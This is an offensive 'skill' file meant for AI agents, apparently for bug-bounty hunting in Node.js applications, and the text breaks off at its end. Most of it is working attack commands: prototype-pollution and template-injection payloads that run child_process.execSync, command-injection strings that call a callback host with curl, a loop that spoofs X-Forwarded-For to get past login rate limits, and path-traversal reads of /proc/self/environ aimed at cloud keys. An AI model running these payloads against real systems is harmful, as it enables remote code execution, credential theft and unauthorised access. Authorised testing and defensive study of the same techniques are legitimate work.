hunt-nodejs – Coding skill for AI agents

HUNT-NODEJS — Node.js Specific Vulnerabilities

Crown Jewel Targets

Prototype Pollution reaching a sink in Node.js backend = Critical RCE.

Highest-value chains:

• Prototype Pollution → RCE — __proto__ injection via lodash.merge / Object.assign → polluted prototype reaches child_process.exec or vm.runInNewContext sink
• Express trust proxy — app.set('trust proxy', true) without validation → attacker sets X-Forwarded-For to bypass IP allowlists or rate limits
• EJS/Pug SSTI — template engine receives user input → {{= process.mainModule.require('child_process').execSync('id') }}
• child_process injection — user input interpolated into shell command string → OS command injection
• require() path traversal — attacker-controlled module path → load arbitrary file as JS

---

Attack Surface Signals

X-Powered-By: Express           Confirms Express.js
Node.js in error messages        Runtime detected
package.json exposed             Dependency list + versions
/proc/self/environ accessible    Environment variable exfil
Error stack traces with .js paths  Node.js confirmed
__proto__ in JSON accepted        Prototype pollution candidate

---

Phase 1 — Fingerprint

# Confirm Node.js/Express
curl --max-time 30 --connect-timeout 10 -sI https://$TARGET/ | grep -i "x-powered-by\|nodejs\|express"

# Check for package.json / node_modules exposure
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/package.json"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/package-lock.json"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/node_modules/.package-lock.json"

# Error-based version detection
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/nonexistent-path-xyz" | grep -i "node\|express\|cannot GET"

---

Phase 2 — Prototype Pollution Detection

# JSON body injection — test if __proto__ is accepted
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"polluted": "yes"}}'

# Constructor prototype
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/settings \
  -H "Content-Type: application/json" \
  -d '{"constructor": {"prototype": {"isAdmin": true}}}'

# URL query param injection (qs library)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/search?__proto__[polluted]=yes&query=test"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/data?constructor[prototype][admin]=1"

# Confirm pollution: does a subsequent request reflect the polluted key?
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/me" | grep -i "polluted\|isAdmin\|admin"

---

Phase 3 — Prototype Pollution → RCE Chain

# If pollution is confirmed, attempt to reach dangerous sinks

# Sink 1: child_process via options.shell pollution
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/update \
  -H "Content-Type: application/json" \
  -d '{
    "__proto__": {
      "shell": "node",
      "NODE_OPTIONS": "--require /proc/self/fd/0",
      "env": {"NODE_OPTIONS": "--inspect=COLLAB_HOST"}
    }
  }'

# Sink 2: lodash template pollution (CVE-2021-23337)
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/render \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"sourceURL": "\nreturn process.mainModule.require(\"child_process\").execSync(\"id\").toString()//"}}'

# Sink 3: ejs template options pollution
# If EJS is used for rendering, pollute the `opts.escapeXML` or `opts.outputFunctionName`
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/template \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"outputFunctionName": "x;process.mainModule.require(\"child_process\").execSync(\"curl COLLAB_HOST/pp-rce\");x"}}'

# OOB confirmation — check Interactsh for callback

---

Phase 4 — Express Trust Proxy Abuse

# If Express has trust proxy enabled, X-Forwarded-For is trusted
# Test: does spoofed IP bypass IP-based rate limiting or allowlist?

# Spoof IP to 127.0.0.1 (localhost bypass)
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/admin/action \
  -H "X-Forwarded-For: 127.0.0.1" \
  -H "Content-Type: application/json" \
  -d '{"action": "test"}'

# Spoof to internal IP range
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/internal \
  -H "X-Forwarded-For: 10.0.0.1" \
  -H "X-Real-IP: 10.0.0.1"

# Rate limit bypass via rotating fake IPs
for i in $(seq 1 50); do
  curl --max-time 30 --connect-timeout 10 -s https://$TARGET/api/login \
    -H "X-Forwarded-For: 1.2.3.$i" \
    -d '{"email":"[email protected]","password":"wrong"}' \
    -o /dev/null -w "$i: %{http_code}\n"
done

---

Phase 5 — Template Engine SSTI (EJS / Pug / Handlebars)

# EJS SSTI — if user input reaches EJS template context
# Test basic: <%= 7*7 %> should return 49
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/render \
  -H "Content-Type: application/json" \
  -d '{"template": "<%= 7*7 %>"}'

# EJS RCE payload
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/render \
  -H "Content-Type: application/json" \
  -d '{"template": "<%= process.mainModule.require(\"child_process\").execSync(\"id\").toString() %>"}'

# Pug SSTI
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/render \
  -H "Content-Type: application/json" \
  -d '{"template": "- var x = root.process\n= x.mainModule.require(\"child_process\").execSync(\"id\")"}'

# Handlebars — prototype pollution via template
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/render \
  -H "Content-Type: application/json" \
  -d '{"template": "{{#with \"s\" as |string|}}{{#with \"e\"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub \"constructor\")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push \"return process.mainModule.require(childprocess).execSync(id)\"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}"}'

---

Phase 6 — child_process Command Injection

# Look for endpoints that run shell commands with user input
# Signals: /api/convert, /api/exec, /api/ping, /api/scan

# Basic injection test
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/ping?host=127.0.0.1;id"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/convert?file=test.pdf;curl+COLLAB_HOST/ci"
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/exec \
  -H "Content-Type: application/json" \
  -d '{"command": "ls", "args": ["&&", "curl", "COLLAB_HOST/ci"]}'

# OOB via DNS
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/dns?host=\$(curl+COLLAB_HOST/dns-ci).example.com"

---

Phase 7 — /proc/self/environ Exfil

# If LFI exists on Node.js app, /proc/self/environ leaks env vars
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/file?path=/proc/self/environ"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/read?file=../../../../proc/self/environ"

# Also check:
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/file?path=/proc/self/cmdline"  # full command-line
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/file?path=/proc/self/cwd"       # working directory

---

Chain Table

| Node.js finding | Chain to | Impact |

|----------------|----------|--------|

| Prototype pollution confirmed | Find RCE sink (child_process, eval) | Critical RCE |

| Express trust proxy | Bypass IP allowlist / rate limit | Auth bypass / DoS bypass |

| SSTI in template engine | OS command execution | Critical RCE |

| child_process injection | id && curl COLLAB_HOST | Critical RCE |

| /proc/self/environ via LFI | AWS_ACCESS_KEY_ID leaked | Cloud compromise |

---

Validation

✅ Prototype pollution: key appears in subsequent API responses without being sent

✅ RCE chain: OOB callback received OR id output in response

✅ Trust proxy: spoofed IP accepted, bypasses rate limit or allowlist

Severity:

• Prototype pollution → RCE: Critical
• SSTI → RCE: Critical
• child_process injection: Critical
• Trust proxy → rate limit bypass: Medium
• /proc/self/environ exfil: High (if cloud keys present)

Verification

Run this self-test to confirm nodejs hunting readiness:

1. Skill integrity — confirm the skill file is readable and well-formed:

   grep -q "name: hunt-nodejs" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
   grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"
   

2. Category check — confirm the skill has a category:

   grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"
   

3. Pitfalls section — confirm pitfalls a

… (full content is in the download package)